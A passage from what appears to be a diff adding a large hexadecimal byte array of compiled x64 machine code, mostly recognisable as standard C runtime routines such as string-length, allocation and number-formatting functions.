0x83, 0xc0, 0x24, 0x89, 0x38, 0xe8, 0xe6, 0xfb, 0xff, 0xff, 0x48, 0x8d, + 0x1d, 0xe7, 0x62, 0x01, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x04, 0x48, 0x8d, + 0x58, 0x20, 0x8b, 0xcf, 0xe8, 0x77, 0xff, 0xff, 0xff, 0x89, 0x03, 0x48, + 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, + 0x48, 0x83, 0xec, 0x28, 0xe8, 0xb7, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xc0, + 0x75, 0x09, 0x48, 0x8d, 0x05, 0xb7, 0x62, 0x01, 0x00, 0xeb, 0x04, 0x48, + 0x83, 0xc0, 0x24, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x83, 0xec, 0x28, + 0xe8, 0x97, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x09, 0x48, 0x8d, + 0x05, 0x93, 0x62, 0x01, 0x00, 0xeb, 0x04, 0x48, 0x83, 0xc0, 0x20, 0x48, + 0x83, 0xc4, 0x28, 0xc3, 0x48, 0x85, 0xc9, 0x74, 0x37, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x4c, 0x8b, 0xc1, 0x33, 0xd2, 0x48, 0x8b, 0x0d, 0xb6, 0x7e, + 0x01, 0x00, 0xff, 0x15, 0xf0, 0xb3, 0x00, 0x00, 0x85, 0xc0, 0x75, 0x17, + 0xe8, 0xbb, 0xff, 0xff, 0xff, 0x48, 0x8b, 0xd8, 0xff, 0x15, 0x56, 0xb3, + 0x00, 0x00, 0x8b, 0xc8, 0xe8, 0xf3, 0xfe, 0xff, 0xff, 0x89, 0x03, 0x48, + 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x83, 0xf9, 0xe0, 0x77, 0x3c, 0x48, + 0x85, 0xc9, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x0f, 0x44, 0xd8, 0xeb, + 0x15, 0xe8, 0xae, 0x46, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x25, 0x48, 0x8b, + 0xcb, 0xe8, 0x2a, 0x3c, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x19, 0x48, 0x8b, + 0x0d, 0x53, 0x7e, 0x01, 0x00, 0x4c, 0x8b, 0xc3, 0x33, 0xd2, 0xff, 0x15, + 0x90, 0xb3, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0xd4, 0xeb, 0x0d, 0xe8, + 0x50, 0xff, 0xff, 0xff, 0xc7, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x33, 0xc0, + 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, + 0x48, 0x89, 0x4c, 0x24, 0x20, 0x48, 0x89, 0x54, 0x24, 0x28, 0x48, 0x85, + 0xd2, 0x74, 0x03, 0x48, 0x89, 0x0a, 0x41, 0xb1, 0x01, 0x48, 0x8d, 0x54, + 0x24, 0x20, 0x33, 0xc9, 0xe8, 0x1b, 0xe2, 0xff, 0xff, 0x48, 0x83, 0xc4, + 0x38, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, + 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x50, + 0x33, 0xed, 0x49, 0x8b, 0xf0, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xd9, 0x48, + 0x85, 0xd2, 0x0f, 0x84, 0x38, 0x01, 0x00, 0x00, 0x4d, 0x85, 0xc0, 0x0f, + 0x84, 0x2f, 0x01, 0x00, 0x00, 0x40, 0x38, 0x2a, 0x75, 0x11, 0x48, 0x85, + 0xc9, 0x0f, 0x84, 0x28, 0x01, 0x00, 0x00, 0x66, 0x89, 0x29, 0xe9, 0x20, + 0x01, 0x00, 0x00, 0x49, 0x8b, 0xd1, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xe8, + 0x4c, 0xd0, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x81, 0x78, 0x0c, + 0xe9, 0xfd, 0x00, 0x00, 0x75, 0x22, 0x4c, 0x8d, 0x0d, 0x0f, 0x75, 0x01, + 0x00, 0x4c, 0x8b, 0xc6, 0x48, 0x8b, 0xd7, 0x48, 0x8b, 0xcb, 0xe8, 0x21, + 0x46, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0x83, 0xc8, 0xff, 0x85, 0xc9, 0x0f, + 0x48, 0xc8, 0xeb, 0x19, 0x48, 0x39, 0xa8, 0x38, 0x01, 0x00, 0x00, 0x75, + 0x2a, 0x48, 0x85, 0xdb, 0x74, 0x06, 0x0f, 0xb6, 0x07, 0x66, 0x89, 0x03, + 0xb9, 0x01, 0x00, 0x00, 0x00, 0x40, 0x38, 0x6c, 0x24, 0x48, 0x74, 0x0c, + 0x48, 0x8b, 0x44, 0x24, 0x30, 0x83, 0xa0, 0xa8, 0x03, 0x00, 0x00, 0xfd, + 0x8b, 0xc1, 0xe9, 0xb2, 0x00, 0x00, 0x00, 0x0f, 0xb6, 0x0f, 0x48, 0x8d, + 0x54, 0x24, 0x38, 0xe8, 0x88, 0x45, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x52, + 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x44, 0x8b, 0x49, 0x08, 0x41, 0x83, 0xf9, + 0x01, 0x7e, 0x2f, 0x41, 0x3b, 0xf1, 0x7c, 0x2a, 0x8b, 0x49, 0x0c, 0x8b, + 0xc5, 0x48, 0x85, 0xdb, 0x4c, 0x8b, 0xc7, 0xba, 0x09, 0x00, 0x00, 0x00, + 0x0f, 0x95, 0xc0, 0x89, 0x44, 0x24, 0x28, 0x48, 0x89, 0x5c, 0x24, 0x20, + 0xe8, 0x3b, 0x37, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x85, 0xc0, + 0x75, 0x0f, 0x48, 0x63, 0x41, 0x08, 0x48, 0x3b, 0xf0, 0x72, 0x3e, 0x40, + 0x38, 0x6f, 0x01, 0x74, 0x38, 0x8b, 0x49, 0x08, 0xeb, 0x83, 0x8b, 0xc5, + 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x4c, 0x8b, 0xc7, + 0x0f, 0x95, 0xc0, 0x89, 0x44, 0x24, 0x28, 0x41, 0x8d, 0x51, 0x08, 0x48, + 0x8b, 0x44, 0x24, 0x38, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x8b, 0x48, 0x0c, + 0xe8, 0xf3, 0x36, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x4b, 0xff, 0xff, + 0xff, 0xe8, 0xc2, 0xfd, 0xff, 0xff, 0x83, 0xc9, 0xff, 0xc7, 0x00, 0x2a, + 0x00, 0x00, 0x00, 0xe9, 0x3d, 0xff, 0xff, 0xff, 0x48, 0x89, 0x2d, 0x11, + 0x74, 0x01, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, + 0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, + 0x5f, 0xc3, 0xcc, 0xcc, 0x45, 0x33, 0xc9, 0xe9, 0x78, 0xfe, 0xff, 0xff, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x66, 0x44, 0x89, 0x4c, 0x24, 0x20, 0x55, + 0x56, 0x57, 0x48, 0x8b, 0xec, 0x48, 0x83, 0xec, 0x60, 0x49, 0x8b, 0xf0, + 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xd2, 0x75, 0x13, 0x4d, + 0x85, 0xc0, 0x74, 0x0e, 0x48, 0x85, 0xc9, 0x74, 0x02, 0x21, 0x11, 0x33, + 0xc0, 0xe9, 0xbf, 0x00, 0x00, 0x00, 0x48, 0x85, 0xdb, 0x74, 0x03, 0x83, + 0x09, 0xff, 0x48, 0x81, 0xfe, 0xff, 0xff, 0xff, 0x7f, 0x76, 0x16, 0xe8, + 0x40, 0xfd, 0xff, 0xff, 0xbb, 0x16, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, + 0x14, 0xfc, 0xff, 0xff, 0xe9, 0x96, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x55, + 0x40, 0x48, 0x8d, 0x4d, 0xe0, 0xe8, 0xae, 0xce, 0xff, 0xff, 0x48, 0x8b, + 0x45, 0xe8, 0x8b, 0x48, 0x0c, 0x81, 0xf9, 0xe9, 0xfd, 0x00, 0x00, 0x75, + 0x2e, 0x0f, 0xb7, 0x55, 0x38, 0x4c, 0x8d, 0x45, 0x28, 0x48, 0x83, 0x65, + 0x28, 0x00, 0x48, 0x8b, 0xcf, 0xe8, 0x36, 0x46, 0x00, 0x00, 0x48, 0x85, + 0xdb, 0x74, 0x02, 0x89, 0x03, 0x83, 0xf8, 0x04, 0x0f, 0x8e, 0xbe, 0x00, + 0x00, 0x00, 0xe8, 0xe9, 0xfc, 0xff, 0xff, 0x8b, 0x18, 0xeb, 0x3b, 0x48, + 0x83, 0xb8, 0x38, 0x01, 0x00, 0x00, 0x00, 0x75, 0x6d, 0x0f, 0xb7, 0x45, + 0x38, 0xb9, 0xff, 0x00, 0x00, 0x00, 0x66, 0x3b, 0xc1, 0x76, 0x46, 0x48, + 0x85, 0xff, 0x74, 0x12, 0x48, 0x85, 0xf6, 0x74, 0x0d, 0x4c, 0x8b, 0xc6, + 0x33, 0xd2, 0x48, 0x8b, 0xcf, 0xe8, 0xba, 0xb9, 0xff, 0xff, 0xe8, 0xb1, + 0xfc, 0xff, 0xff, 0xbb, 0x2a, 0x00, 0x00, 0x00, 0x89, 0x18, 0x80, 0x7d, + 0xf8, 0x00, 0x74, 0x0b, 0x48, 0x8b, 0x4d, 0xe0, 0x83, 0xa1, 0xa8, 0x03, + 0x00, 0x00, 0xfd, 0x8b, 0xc3, 0x48, 0x8b, 0x9c, 0x24, 0x80, 0x00, 0x00, + 0x00, 0x48, 0x83, 0xc4, 0x60, 0x5f, 0x5e, 0x5d, 0xc3, 0x48, 0x85, 0xff, + 0x74, 0x07, 0x48, 0x85, 0xf6, 0x74, 0x77, 0x88, 0x07, 0x48, 0x85, 0xdb, + 0x74, 0x46, 0xc7, 0x03, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x3e, 0x83, 0x65, + 0x28, 0x00, 0x48, 0x8d, 0x45, 0x28, 0x48, 0x89, 0x44, 0x24, 0x38, 0x4c, + 0x8d, 0x45, 0x38, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, 0x41, 0xb9, 0x01, + 0x00, 0x00, 0x00, 0x89, 0x74, 0x24, 0x28, 0x33, 0xd2, 0x48, 0x89, 0x7c, + 0x24, 0x20, 0xe8, 0xc1, 0x35, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x11, 0x83, + 0x7d, 0x28, 0x00, 0x75, 0x81, 0x48, 0x85, 0xdb, 0x74, 0x02, 0x89, 0x03, + 0x33, 0xdb, 0xeb, 0x82, 0xff, 0x15, 0xca, 0xaf, 0x00, 0x00, 0x83, 0xf8, + 0x7a, 0x0f, 0x85, 0x67, 0xff, 0xff, 0xff, 0x48, 0x85, 0xff, 0x74, 0x12, + 0x48, 0x85, 0xf6, 0x74, 0x0d, 0x4c, 0x8b, 0xc6, 0x33, 0xd2, 0x48, 0x8b, + 0xcf, 0xe8, 0x0a, 0xb9, 0xff, 0xff, 0xe8, 0x01, 0xfc, 0xff, 0xff, 0xbb, + 0x22, 0x00, 0x00, 0x00, 0x89, 0x18, 0xe8, 0xd5, 0xfa, 0xff, 0xff, 0xe9, + 0x46, 0xff, 0xff, 0xff, 0x8b, 0x05, 0x56, 0x5e, 0x01, 0x00, 0x4c, 0x8b, + 0xc9, 0x83, 0xf8, 0x05, 0x0f, 0x8c, 0x93, 0x00, 0x00, 0x00, 0x4c, 0x8b, + 0xc1, 0xb8, 0x20, 0x00, 0x00, 0x00, 0x41, 0x83, 0xe0, 0x1f, 0x49, 0x2b, + 0xc0, 0x49, 0xf7, 0xd8, 0x4d, 0x1b, 0xd2, 0x4c, 0x23, 0xd0, 0x49, 0x8b, + 0xc1, 0x49, 0x3b, 0xd2, 0x4c, 0x0f, 0x42, 0xd2, 0x49, 0x03, 0xca, 0x4c, + 0x3b, 0xc9, 0x74, 0x0d, 0x80, 0x38, 0x00, 0x74, 0x08, 0x48, 0xff, 0xc0, + 0x48, 0x3b, 0xc1, 0x75, 0xf3, 0x48, 0x8b, 0xc8, 0x49, 0x2b, 0xc9, 0x49, + 0x3b, 0xca, 0x0f, 0x85, 0xf4, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xc2, 0x48, + 0x8b, 0xc8, 0x4d, 0x2b, 0xc2, 0x49, 0x83, 0xe0, 0xe0, 0x4c, 0x03, 0xc0, + 0x49, 0x3b, 0xc0, 0x74, 0x1c, 0xc5, 0xf1, 0xef, 0xc9, 0xc5, 0xf5, 0x74, + 0x09, 0xc5, 0xfd, 0xd7, 0xc1, 0x85, 0xc0, 0xc5, 0xf8, 0x77, 0x75, 0x09, + 0x48, 0x83, 0xc1, 0x20, 0x49, 0x3b, 0xc8, 0x75, 0xe4, 0x49, 0x8d, 0x04, + 0x11, 0xeb, 0x0c, 0x80, 0x39, 0x00, 0x0f, 0x84, 0xb1, 0x00, 0x00, 0x00, + 0x48, 0xff, 0xc1, 0x48, 0x3b, 0xc8, 0x75, 0xef, 0xe9, 0xa4, 0x00, 0x00, + 0x00, 0x83, 0xf8, 0x01, 0x0f, 0x8c, 0x85, 0x00, 0x00, 0x00, 0x83, 0xe1, + 0x0f, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x48, 0x2b, 0xc1, 0x48, 0xf7, 0xd9, + 0x4d, 0x1b, 0xd2, 0x4c, 0x23, 0xd0, 0x49, 0x8b, 0xc1, 0x49, 0x3b, 0xd2, + 0x4c, 0x0f, 0x42, 0xd2, 0x4b, 0x8d, 0x0c, 0x0a, 0x4c, 0x3b, 0xc9, 0x74, + 0x0d, 0x80, 0x38, 0x00, 0x74, 0x08, 0x48, 0xff, 0xc0, 0x48, 0x3b, 0xc1, + 0x75, 0xf3, 0x48, 0x8b, 0xc8, 0x49, 0x2b, 0xc9, 0x49, 0x3b, 0xca, 0x75, + 0x5f, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xc8, 0x4d, 0x2b, 0xc2, 0x0f, 0x57, + 0xc9, 0x49, 0x83, 0xe0, 0xf0, 0x4c, 0x03, 0xc0, 0x49, 0x3b, 0xc0, 0x74, + 0x19, 0x66, 0x0f, 0x6f, 0xc1, 0x66, 0x0f, 0x74, 0x01, 0x66, 0x0f, 0xd7, + 0xc0, 0x85, 0xc0, 0x75, 0x09, 0x48, 0x83, 0xc1, 0x10, 0x49, 0x3b, 0xc8, + 0x75, 0xe7, 0x49, 0x8d, 0x04, 0x11, 0xeb, 0x08, 0x80, 0x39, 0x00, 0x74, + 0x20, 0x48, 0xff, 0xc1, 0x48, 0x3b, 0xc8, 0x75, 0xf3, 0xeb, 0x16, 0x48, + 0x8d, 0x04, 0x11, 0x4c, 0x3b, 0xc8, 0x74, 0x0d, 0x80, 0x39, 0x00, 0x74, + 0x08, 0x48, 0xff, 0xc1, 0x48, 0x3b, 0xc8, 0x75, 0xf3, 0x49, 0x2b, 0xc9, + 0x48, 0x8b, 0xc1, 0xc3, 0x8b, 0x05, 0x06, 0x5d, 0x01, 0x00, 0x4c, 0x8b, + 0xd2, 0x4c, 0x8b, 0xc1, 0x83, 0xf8, 0x05, 0x0f, 0x8c, 0xcc, 0x00, 0x00, + 0x00, 0x41, 0xf6, 0xc0, 0x01, 0x74, 0x29, 0x48, 0x8d, 0x04, 0x51, 0x48, + 0x8b, 0xd1, 0x48, 0x3b, 0xc8, 0x0f, 0x84, 0xa1, 0x01, 0x00, 0x00, 0x33, + 0xc9, 0x66, 0x39, 0x0a, 0x0f, 0x84, 0x96, 0x01, 0x00, 0x00, 0x48, 0x83, + 0xc2, 0x02, 0x48, 0x3b, 0xd0, 0x75, 0xee, 0xe9, 0x88, 0x01, 0x00, 0x00, + 0x83, 0xe1, 0x1f, 0xb8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x2b, 0xc1, 0x49, + 0x8b, 0xd0, 0x48, 0xf7, 0xd9, 0x4d, 0x1b, 0xdb, 0x4c, 0x23, 0xd8, 0x49, + 0xd1, 0xeb, 0x4d, 0x3b, 0xd3, 0x4d, 0x0f, 0x42, 0xda, 0x33, 0xc9, 0x4b, + 0x8d, 0x04, 0x58, 0x4c, 0x3b, 0xc0, 0x74, 0x0e, 0x66, 0x39, 0x0a, 0x74, + 0x09, 0x48, 0x83, 0xc2, 0x02, 0x48, 0x3b, 0xd0, 0x75, 0xf2, 0x49, 0x2b, + 0xd0, 0x48, 0xd1, 0xfa, 0x49, 0x3b, 0xd3, 0x0f, 0x85, 0x45, 0x01, 0x00, + 0x00, 0x4d, 0x8d, 0x0c, 0x50, 0x49, 0x8b, 0xc2, 0x49, 0x2b, 0xc3, 0x48, + 0x83, 0xe0, 0xe0, 0x48, 0x03, 0xc2, 0x49, 0x8d, 0x14, 0x40, 0x4c, 0x3b, + 0xca, 0x74, 0x1d, 0xc5, 0xf1, 0xef, 0xc9, 0xc4, 0xc1, 0x75, 0x75, 0x09, + 0xc5, 0xfd, 0xd7, 0xc1, 0x85, 0xc0, 0xc5, 0xf8, 0x77, 0x75, 0x09, 0x49, + 0x83, 0xc1, 0x20, 0x4c, 0x3b, 0xca, 0x75, 0xe3, 0x4b, 0x8d, 0x04, 0x50, + 0xeb, 0x0a, 0x66, 0x41, 0x39, 0x09, 0x74, 0x09, 0x49, 0x83, 0xc1, 0x02, + 0x4c, 0x3b, 0xc8, 0x75, 0xf1, 0x49, 0x8b, 0xd1, 0xe9, 0xeb, 0x00, 0x00, + 0x00, 0x83, 0xf8, 0x01, 0x0f, 0x8c, 0xc6, 0x00, 0x00, 0x00, 0x41, 0xf6, + 0xc0, 0x01, 0x74, 0x29, 0x48, 0x8d, 0x04, 0x51, 0x49, 0x8b, 0xd0, 0x4c, + 0x3b, 0xc0, 0x0f, 0x84, 0xcc, 0x00, 0x00, 0x00, 0x33, 0xc9, 0x66, 0x39, + 0x0a, 0x0f, 0x84, 0xc1, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc2, 0x02, 0x48, + 0x3b, 0xd0, 0x75, 0xee, 0xe9, 0xb3, 0x00, 0x00, 0x00, 0x83, 0xe1, 0x0f, + 0xb8, 0x10, 0x00, 0x00, 0x00, 0x48, 0x2b, 0xc1, 0x49, 0x8b, 0xd0, 0x48, + 0xf7, 0xd9, 0x4d, 0x1b, 0xdb, 0x4c, 0x23, 0xd8, 0x49, 0xd1, 0xeb, 0x4d, + 0x3b, 0xd3, 0x4d, 0x0f, 0x42, 0xda, 0x33, 0xc9, 0x4b, 0x8d, 0x04, 0x58, + 0x4c, 0x3b, 0xc0, 0x74, 0x0e, 0x66, 0x39, 0x0a, 0x74, 0x09, 0x48, 0x83, + 0xc2, 0x02, 0x48, 0x3b, 0xd0, 0x75, 0xf2, 0x49, 0x2b, 0xd0, 0x48, 0xd1, + 0xfa, 0x49, 0x3b, 0xd3, 0x75, 0x74, 0x49, 0x8b, 0xc2, 0x4d, 0x8d, 0x0c, + 0x50, 0x49, 0x2b, 0xc3, 0x0f, 0x57, 0xc9, 0x48, 0x83, 0xe0, 0xf0, 0x48, + 0x03, 0xc2, 0x49, 0x8d, 0x14, 0x40, 0xeb, 0x15, 0x66, 0x0f, 0x6f, 0xc1, + 0x66, 0x41, 0x0f, 0x75, 0x01, 0x66, 0x0f, 0xd7, 0xc0, 0x85, 0xc0, 0x75, + 0x09, 0x49, 0x83, 0xc1, 0x10, 0x4c, 0x3b, 0xca, 0x75, 0xe6, 0x4b, 0x8d, + 0x04, 0x50, 0xeb, 0x0e, 0x66, 0x41, 0x39, 0x09, 0x0f, 0x84, 0x37, 0xff, + 0xff, 0xff, 0x49, 0x83, 0xc1, 0x02, 0x4c, 0x3b, 0xc8, 0x75, 0xed, 0xe9, + 0x29, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x04, 0x51, 0x49, 0x8b, 0xd0, 0x4c, + 0x3b, 0xc0, 0x74, 0x10, 0x33, 0xc9, 0x66, 0x39, 0x0a, 0x74, 0x09, 0x48, + 0x83, 0xc2, 0x02, 0x48, 0x3b, 0xd0, 0x75, 0xf2, 0x49, 0x2b, 0xd0, 0x48, + 0xd1, 0xfa, 0x48, 0x8b, 0xc2, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, + 0xec, 0x20, 0x48, 0x8b, 0x05, 0x57, 0x6f, 0x01, 0x00, 0x48, 0x8b, 0xda, + 0x48, 0x39, 0x02, 0x74, 0x16, 0x8b, 0x81, 0xa8, 0x03, 0x00, 0x00, 0x85, + 0x05, 0x1b, 0x63, 0x01, 0x00, 0x75, 0x08, 0xe8, 0xf8, 0x3e, 0x00, 0x00, + 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x05, 0x33, 0x77, 0x01, + 0x00, 0x48, 0x8b, 0xda, 0x48, 0x39, 0x02, 0x74, 0x16, 0x8b, 0x81, 0xa8, + 0x03, 0x00, 0x00, 0x85, 0x05, 0xe7, 0x62, 0x01, 0x00, 0x75, 0x08, 0xe8, + 0x04, 0x2e, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4, 0x20, 0x5b, + 0xc3, 0xcc, 0xcc, 0xcc, 0x4c, 0x8b, 0xdc, 0x49, 0x89, 0x5b, 0x08, 0x49, + 0x89, 0x6b, 0x10, 0x49, 0x89, 0x73, 0x18, 0x57, 0x41, 0x54, 0x41, 0x55, + 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x70, 0x8b, 0x84, 0x24, 0xc8, + 0x00, 0x00, 0x00, 0x45, 0x33, 0xf6, 0x85, 0xc0, 0x44, 0x88, 0x32, 0x48, + 0x8b, 0xda, 0x4c, 0x8b, 0xf9, 0x48, 0x8b, 0x94, 0x24, 0xe0, 0x00, 0x00, + 0x00, 0x49, 0x8d, 0x4b, 0xb8, 0x41, 0x8b, 0xfe, 0x49, 0x8b, 0xe9, 0x0f, + 0x49, 0xf8, 0x49, 0x8b, 0xf0, 0xe8, 0x9e, 0xc9, 0xff, 0xff, 0x8d, 0x47, + 0x0b, 0x48, 0x63, 0xc8, 0x48, 0x3b, 0xf1, 0x77, 0x15, 0xe8, 0x02, 0xf8, + 0xff, 0xff, 0x41, 0x8d, 0x7e, 0x22, 0x89, 0x38, 0xe8, 0xd7, 0xf6, 0xff, + 0xff, 0xe9, 0xdf, 0x02, 0x00, 0x00, 0x49, 0x8b, 0x0f, 0xba, 0xff, 0x07, + 0x00, 0x00, 0x48, 0x8b, 0xc1, 0x48, 0xc1, 0xe8, 0x34, 0x48, 0x23, 0xc2, + 0x48, 0x3b, 0xc2, 0x0f, 0x85, 0x81, 0x00, 0x00, 0x00, 0x8b, 0x84, 0x24, + 0xe8, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xcd, 0x89, 0x44, 0x24, 0x48, 0x4c, + 0x8b, 0xc6, 0x8b, 0x84, 0x24, 0xd8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd3, + 0x4c, 0x89, 0x74, 0x24, 0x40, 0x49, 0x8b, 0xcf, 0x89, 0x44, 0x24, 0x38, + 0x48, 0x8b, 0x84, 0x24, 0xc0, 0x00, 0x00, 0x00, 0x44, 0x88, 0x74, 0x24, + 0x30, 0x89, 0x7c, 0x24, 0x28, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xb5, + 0x02, 0x00, 0x00, 0x8b, 0xf8, 0x85, 0xc0, 0x74, 0x08, 0x44, 0x88, 0x33, + 0xe9, 0x74, 0x02, 0x00, 0x00, 0xba, 0x65, 0x00, 0x00, 0x00, 0x48, 0x8b, + 0xcb, 0xe8, 0xde, 0x9d, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x5b, + 0x02, 0x00, 0x00, 0x8a, 0x8c, 0x24, 0xd0, 0x00, 0x00, 0x00, 0x80, 0xf1, + 0x01, 0xc0, 0xe1, 0x05, 0x80, 0xc1, 0x50, 0x88, 0x08, 0x44, 0x88, 0x70, + 0x03, 0xe9, 0x40, 0x02, 0x00, 0x00, 0xb8, 0x2d, 0x00, 0x00, 0x00, 0x48, + 0x85, 0xc9, 0x79, 0x08, 0x88, 0x03, 0x48, 0xff, 0xc3, 0x49, 0x8b, 0x0f, + 0x8a, 0x84, 0x24, 0xd0, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x6b, 0x01, 0x34, + 0x01, 0x41, 0xbc, 0xff, 0x03, 0x00, 0x00, 0x44, 0x0f, 0xb6, 0xe8, 0x41, + 0xb9, 0x30, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xf5, 0x48, 0xb8, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f, 0xc1, 0xe6, 0x05, 0x49, 0xba, 0xff, + 0xff, 0xff, 0xff, 0xff, 0xff, 0x0f, 0x00, 0x83, 0xc6, 0x07, 0x48, 0x85, + 0xc8, 0x75, 0x18, 0x44, 0x88, 0x0b, 0x49, 0x8b, 0x07, 0x49, 0x23, 0xc2, + 0x48, 0xf7, 0xd8, 0x4d, 0x1b, 0xe4, 0x41, 0x81, 0xe4, 0xfe, 0x03, 0x00, + 0x00, 0xeb, 0x03, 0xc6, 0x03, 0x31, 0x33, 0xdb, 0x4c, 0x8d, 0x75, 0x01, + 0x85, 0xff, 0x75, 0x04, 0x8a, 0xc3, 0xeb, 0x11, 0x48, 0x8b, 0x44, 0x24, + 0x58, 0x48, 0x8b, 0x88, 0xf8, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x01, 0x8a, + 0x00, 0x88, 0x45, 0x00, 0x4d, 0x85, 0x17, 0x0f, 0x86, 0x91, 0x00, 0x00, + 0x00, 0x45, 0x0f, 0xb7, 0xc1, 0x48, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x0f, 0x00, 0x85, 0xff, 0x7e, 0x2f, 0x49, 0x8b, 0x07, 0x41, 0x8a, + 0xc8, 0x48, 0x23, 0xc2, 0x49, 0x23, 0xc2, 0x48, 0xd3, 0xe8, 0x66, 0x41, + 0x03, 0xc1, 0x66, 0x83, 0xf8, 0x39, 0x76, 0x03, 0x66, 0x03, 0xc6, 0x41, + 0x88, 0x06, 0xff, 0xcf, 0x49, 0xff, 0xc6, 0x48, 0xc1, 0xea, 0x04, 0x66, + 0x41, 0x83, 0xc0, 0xfc, 0x79, 0xcd, 0x66, 0x45, 0x85, 0xc0, 0x78, 0x4a, + 0x44, 0x8b, 0x8c, 0x24, 0xe8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xcf, 0xe8, + 0xfc, 0x06, 0x00, 0x00, 0x41, 0xb9, 0x30, 0x00, 0x00, 0x00, 0x84, 0xc0, + 0x74, 0x30, 0x49, 0x8d, 0x4e, 0xff, 0x8a, 0x11, 0x8d, 0x42, 0xba, 0xa8, + 0xdf, 0x75, 0x08, 0x44, 0x88, 0x09, 0x48, 0xff, 0xc9, 0xeb, 0xef, 0x48, + 0x3b, 0xcd, 0x74, 0x13, 0x80, 0xfa, 0x39, 0x75, 0x06, 0x40, 0x80, 0xc6, + 0x3a, 0xeb, 0x03, 0x8d, 0x72, 0x01, 0x40, 0x88, 0x31, 0xeb, 0x03, 0xfe, + 0x41, 0xff, 0x85, 0xff, 0x7e, 0x15, 0x44, 0x8b, 0xc7, 0x41, 0x8a, 0xd1, + 0x49, 0x8b, 0xce, 0x8b, 0xdf, 0xe8, 0x1e, 0xb3, 0xff, 0xff, 0x4c, 0x03, + 0xf3, 0x33, 0xdb, 0x38, 0x5d, 0x00, 0x49, 0x0f, 0x45, 0xee, 0x41, 0xc0, + 0xe5, 0x05, 0x41, 0x80, 0xc5, 0x50, 0x44, 0x88, 0x6d, 0x00, 0x4c, 0x8d, + 0x4d, 0x02, 0x49, 0x8b, 0x07, 0x48, 0xc1, 0xe8, 0x34, 0x25, 0xff, 0x07, + 0x00, 0x00, 0x8b, 0xc8, 0x49, 0x2b, 0xcc, 0x48, 0x8b, 0xd1, 0x79, 0x06, + 0x49, 0x8b, 0xcc, 0x48, 0x2b, 0xc8, 0xb8, 0x2b, 0x00, 0x00, 0x00, 0x45, + 0x33, 0xf6, 0x48, 0x85, 0xd2, 0x4d, 0x8b, 0xc1, 0x8d, 0x50, 0x02, 0x0f, + 0x48, 0xc2, 0x88, 0x45, 0x01, 0x41, 0xc6, 0x01, 0x30, 0x48, 0x81, 0xf9, + 0xe8, 0x03, 0x00, 0x00, 0x7c, 0x2f, 0x48, 0xb8, 0xcf, 0xf7, 0x53, 0xe3, + 0xa5, 0x9b, 0xc4, 0x20, 0x4d, 0x8d, 0x41, 0x01, 0x48, 0xf7, 0xe9, 0x48, + 0xc1, 0xfa, 0x07, 0x48, 0x8b, 0xc2, 0x48, 0xc1, 0xe8, 0x3f, 0x48, 0x03, 